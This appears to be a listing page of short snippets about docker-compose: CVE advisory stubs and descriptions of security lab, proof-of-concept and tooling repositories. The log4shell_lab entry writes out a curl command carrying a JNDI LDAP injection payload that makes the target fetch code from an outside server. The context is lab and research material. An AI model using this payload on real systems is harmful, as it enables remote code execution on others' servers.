CVE-2026-97032 affecting package docker-compose for versions less than 2.27.0-16

CVE-2026-97032 affecting package docker-compose for versions less than 2.27.0-16. A patched version of the package is available...

CVE-2026-92543 affecting package docker-compose for versions less than 2.27.0-16

CVE-2026-92543 affecting package docker-compose for versions less than 2.27.0-16. A patched version of the package is available...

CVE-2026-78659 affecting package docker-compose for versions less than 2.27.0-16

CVE-2026-78659 affecting package docker-compose for versions less than 2.27.0-16. A patched version of the package is available...

CVE-2026-78669 affecting package docker-compose for versions less than 2.27.0-16

CVE-2026-78669 affecting package docker-compose for versions less than 2.27.0-16. A patched version of the package is available...

reternal-quickstart

RE:TERNAL Note: Still under development, only use for testing and do not expose interfaces! Current compose doesn't work yet, only try when you know what you're doing RE:TERNAL is a centralised purple team orchestration service to manage third-party C2 frameworks. Agents are installed on endpoint...

dns-honeypot

My First 24 Hours Running a DNS Honeypot As an engineer who spends most of my days knee-deep in observability tooling, I get the occasional idea that I just have to run with. This was one of those experiments: spin up a DNS resolver on a clean IP that nobody advertises, then let the internet talk...

CVE-2022-39275

CVE-2022-39275 POC for CVE-2022-39275. Resources for the advisory: NIST NVD CVE.org Github Security Advisory This is a fork of commit hash: 47f9f5fb29be2b5892c79ace4f23022f397a0a5e link, just re-pushed as there were git submodules that also had to be changed. POC-Setup Follow the setup guide. In...

CVE-2026-27607

CVE-2026-27607 Proof of concept for CVE-2026-27607, published as GHSA-w5fh-f8xh-5x3p. Run Needs Node.js and docker + compose. Install dependencies: npm ci Start vulnerable RustFS instance: docker compose up wait for startup Run demo: ./exploit.js...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

CVE-2025-34159

CVE-2025-34159: Docker Compose Injection in Coolify Vulnerability Overview Field| Value ---|--- CVE ID| CVE-2025-34159 Affects| Coolify ≤ v4.0.0-beta.420.6 Fixed in| v4.0.0-beta.420.7 Severity| Critical CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OS Comma...

homelab-CVE-2025-68613

How to Use Docker Compose for This Project This guide explains how to install Docker Compose and run the project using the provided docker-compose.yml file. Prerequisites Docker must be installed on your system. See the official Docker installation guide for instructions. Installing Docker Compos...

CVE-2025-68613-n8n-lab

CVE-2025-68613 Local n8n Lab This repository provides a simple Docker Compose setup that runs a vulnerable n8n instance for local testing of CVE-2025-68613. Requirements Docker Desktop or Docker Engine Docker Compose v2 Quick start 1. Start the container: docker compose up -d 2. Open n8n in your...

CVE-2026-20896

CVE-2026-20896 Lab This repository provides a small, self-contained lab for exploring the CVE-2026-20896 issue in a controlled and authorized environment. Overview The lab includes: poc.py: my customized proof-of-concept script that demonstrates the issue and exports browser-ready cookie files...

MobSF_AI

MobSF AI Sidecar This project adds an AI-powered chat assistant to the Mobile Security Framework MobSF. It allows security analysts to ask questions about the analysis report generated by MobSF directly within the interface, leveraging OpenAI's model. Features Seamless Integration : Injects a...

dockerd Go-Archive Arbitrary File Write

The vulnerability of the dockerd daemon in the Go-Archive library of the Docker Desktop command-line interface for developing and deploying container applications, as well as the Docker Compose tool for managing multi-container applications, is related to an incorrect definition of symbolic...

faraday

Gestor de Vulnerabilidades de Código Abierto La seguridad tiene dos tareas difíciles: diseñar formas inteligentes de obtener nueva información y hacer un seguimiento de los hallazgos para mejorar los esfuerzos de remediación. Con Faraday, puedes centrarte en descubrir vulnerabilidades mientras...

pentest_lab

Pentest Lab Ya no estoy desarrollando activamente esto, pero corregiré errores y revisaré issues y pull requests. Se agradece la ayuda : Este laboratorio de pentest local utiliza docker compose para levantar múltiples servicios víctimas y un servicio atacante que ejecuta Kali Linux. Si ejecutas...

CVE-2026-81869 affecting package docker-compose for versions less than 2.27.0-15

CVE-2026-81869 affecting package docker-compose for versions less than 2.27.0-15. An upgraded version of the package is available that resolves this issue...

CVE-2026-84304 affecting package docker-compose for versions less than 2.27.0-15

CVE-2026-84304 affecting package docker-compose for versions less than 2.27.0-15. An upgraded version of the package is available that resolves this issue...

CVE-2026-84445 affecting package docker-compose for versions less than 2.27.0-15

CVE-2026-84445 affecting package docker-compose for versions less than 2.27.0-15. An upgraded version of the package is available that resolves this issue...